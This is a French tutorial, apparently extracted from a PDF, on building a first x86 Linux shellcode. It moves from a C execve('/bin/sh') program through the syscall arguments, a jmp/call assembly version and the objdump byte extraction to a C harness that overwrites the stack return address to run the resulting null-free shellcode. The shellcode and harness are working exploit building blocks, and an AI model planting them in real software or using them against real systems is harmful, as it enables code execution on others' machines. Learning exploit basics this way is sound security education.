1er shellcode Pour créer notre shellcode, nous allons suivre les différentes étapes déjà explicitées dans le document précédent « BytecodeDefrichage.pdf ». Sommaire a. Le shellcode écrit en langage C ................................................................................................................................. 2 b. Prototype et numéro des appels systèmes utiles ..................................................................................................... 3 c. Code assembleur & Test du programme compilé .................................................................................................... 5 d. Desassemblage & Création du shellcode .................................................................................................................. 6 e. Test d’exécution du shellcode par un programme tiers ........................................................................................... 7 a. Le shellcode écrit en langage C Le code C : flo@kali:~$ cat shell.c #include <stdio.h> #include <unistd.h> int main() { char * param[] = {"/bin/sh", NULL}; execve(param[0], param, NULL); return 0; } Lire le man de la fonction « execve ». Exceptionnellement, son prototype sera expliqué dans la partie suivante, car « execve » est déjà un appel système. On compile et on teste le programme : flo@kali:~$ gcc -fno-stack-protector shell.c -o shell --static $ whoami flo $ pwd /home/flo $ Remarque : execve est un véritable appel système, contrairement aux autres fonctions de la famille exec(), qui sont en réalité des fonctions de bibliothèque GlibC construites autour de execve(). b. Prototype et numéro des appels systèmes utiles Numéro de l’appel système execve : flo@kali:~$ cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep execve #define __NR_execve 11 Prototype de l’appel système execve : flo@kali:~$ strace ./shell | grep execve execve("./shell", ["./shell"], [/* 29 vars */]) = 0 // Exécution du binaire ./shell … execve("/bin/sh", ["/bin/sh"], [/* 0 vars */]) = 0 // Exécution du script « /bin/sh » … Extrait de son man : NAME execve - execute program SYNOPSIS #include <unistd.h> int execve(const char *filename, char *const argv[], char *const envp[]); (En français : http://manpagesfr.free.fr/man/man2/execve.2.html ) L’appel système execve exécute exécutable, soit un script. le programme pointé par filename, qui est soit un binaire Il utilise 3 arguments : Le 1er argument « char *filename », est l’adresse du programme à exécuter. Le 2ème argument « char *argv[] » est un array d’arguments de type strings, passé au nouveau programme. Par convention, le premier argument doit être le filename associé au file exécuté. Le 3ème argument « char *envp[] » ne nous sera pas utile ici. C’est un array de strings passé au nouveau programme comme environnement (variable d’environnement PATH, etc.). argv ainsi que envp doivent se terminer par un pointeur NULL. Les arguments et l'environnement sont accessibles par le nouveau programme dans sa fonction principale, lorsqu'elle est définie comme : int main(int argc, char *argv[], char *envp[]). En cas de réussite, execve() ne revient pas à l'appelant, et les segments de texte, de données (« data » et « bss »), ainsi que la pile du processus appelant sont remplacés par ceux du programme chargé. En cas d'échec il renvoie -1 et errno contient le code d'erreur. Voyons tout cela avec gdb : ATTENTION : Ce qui nous intéresse est le code assembleur de l’appel système execve, et non celui de la fonction wrapper execve ! Nous exécuterons donc le programme jusqu’à l’interruption « int $0x80 » de execve, et non jusqu’à « call 0x804f770 <execve> » du main. [-------------------------------------code-------------------------------------] => 0x804f782 <execve+18>: int $0x80 [----------------------------------registers-----------------------------------] EAX: 0xb ('\x0b') EBX: 0x80aafe8 ("/bin/sh") ECX: 0xbffff4f8 --> 0x80aafe8 ("/bin/sh") EDX: 0x0 EAX contient le numéro de l’appel système « 0xb » i.e. « 11 » EBX contient le premier argument de execve, soit « addr /bin/sh » ECX contient l’adresse vers l’array des arguments { addr /bin/sh , NULL}, EDX contient NULL. Notre code assembleur va donc : 1) Ecrire la chaîne « /bin/sh » en mémoire, puis récupérer son adresse grâce à l’astuce « jmp/call ». 2) Construire l’array des arguments, dans la pile. 3) Remplir les registres EAX, EBX, ECX, EDX comme indiqués ci-dessus. On souhaite arriver au schéma suivant : Les deux liens ci-dessus indiquent des schémas différents : http://www.cgsecurity.org/Articles/SecProg/Art2/index-fr.html http://gits.hydraze.org/article-5-les-shellcodes.html#p2ii http://www.bases-hacking.org/afficher-shell.html c. Code assembleur & Test du programme compilé flo@kali:~$ cat shellAsm.s .text # Directive assembeur pour décrire le segment ".text". .global _start # Directive assembleur rendre le symbole "_start" visible pour l'éditeur de lien _start : /* Les registres utilisés sont mis à zéro (en évitant les 0). */ xorl %eax,%eax xorl %ebx,%ebx xorl %ecx,%ecx xorl %edx,%edx # EDX : 0 pushl %edx # « 0 » pushé dans la pile /* Avant d'exécuter "hackingCode", on empile le pointeur vers la chaine "/bin/sh" */ jmp goToCall hackingCode: movl (%esp),%ebx movl %esp,%edx # EBX : addr de "/bin/sh" # ECX : addr addr de "/bin/sh" movb $0xb,%al int $0x80 # EAX : 11 # Appel de execve exit : /* Les registres utilisés sont mis à zéro (en évitant les 0). */ xorl %eax,%eax xorl %ebx,%ebx /* On a initialise le registre EAX (EBX déjà a 0) */ movb $0x1,%al int $0x80 # Appel de _exit goToCall: call hackingCode .string "/bin/sh" # « addr de "/bin/sh" » pushé dans la pile Test de notre code assembleur : flo@kali:~$ as shellAsm.s -o shellAsm.o flo@kali:~$ ld shellAsm.o -o shellAsm flo@kali:~$ ./shellAsm $ whoami flo $ pwd /home/flo $ exit flo@kali:~$ Remarque importante : La chaîne "/bin/sh" est écrite à la suite – donc au même endroit mémoire – que les instructions du shellcode. d. Desassemblage & Création du shellcode flo@kali:~$ objdump --disassemble shellAsm shellAsm: file format elf32-i386 Disassembly of section .text: 08048054 <_start>: 8048054: 31 c0 8048056: 31 db 8048058: 31 c9 804805a: 31 d2 804805c: 52 804805d: eb 11 xor xor xor xor push jmp %eax,%eax %ebx,%ebx %ecx,%ecx %edx,%edx %edx 8048070 <goToCall> 0804805f <hackingCode>: 804805f: 8b 1c 24 8048062: 89 e2 8048064: b0 0b 8048066: cd 80 mov mov mov int (%esp),%ebx %esp,%edx $0xb,%al $0x80 08048068 <exit>: 8048068: 31 c0 804806a: 31 db 804806c: b0 01 804806e: cd 80 xor xor mov int %eax,%eax %ebx,%ebx $0x1,%al $0x80 08048070 <goToCall>: 8048070: e8 ea ff ff ff 8048075: 2f 8048076: 62 69 6e 8048079: 2f 804807a: 73 68 call das bound das jae 804805f <hackingCode> %ebp,0x6e(%ecx) 80480e4 <goToCall+0x74> Creation du shellcode : flo@kali:~$ for i in `objdump -d shellAsm| tr '\t' ' ' | tr ' ' '\n' | egrep '^[0-9a-f]{2}$' ` ; do echo -n "\\x$i" ; done ; \x31\xc0\x31\xdb\x31\xc9\x31\xd2\x52\xeb\x11\x8b\x1c\x24\x89\xe2\xb0\x0b\xcd\x80\x31\xc0\x31\xdb \xb0\x01\xcd\x80\xe8\xea\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68 e. Test d’exécution du shellcode par un programme tiers flo@kali:~$ cat testShellcode.c char bytecode[] = "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x52\xeb\x11\x8b\x1c\x24\x89\xe2\xb0\x0b\xcd\x80\x31\xc0\x31\xd b\xb0\x01\xcd\x80\xe8\xea\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"; int main() { int * ret ; ret = (int*)&ret + 2; (*ret) = (int) bytecode; } flo@kali:~$ gcc testShellcode.c -o testShellcode flo@kali:~$ ./testShellcode $ whoami flo $ exit flo@kali:~$